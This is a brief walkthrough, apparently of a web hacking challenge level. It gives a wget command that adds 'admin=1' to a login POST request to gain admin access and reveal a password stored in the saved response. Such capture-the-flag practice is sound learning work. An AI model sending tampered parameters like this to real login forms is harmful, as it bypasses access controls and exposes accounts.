in this level i need in the HTTP post request to send also admin=1, so, let’s use wget in wsl

 wget --post-data="user=admin&pass=bla&admin=1&submit=send" http://trythis0ne.com/levels/levels/web-challanges/OSLogin/index.php -O OSLogin.php 

and then cat OSLogin.php, the password is in the file

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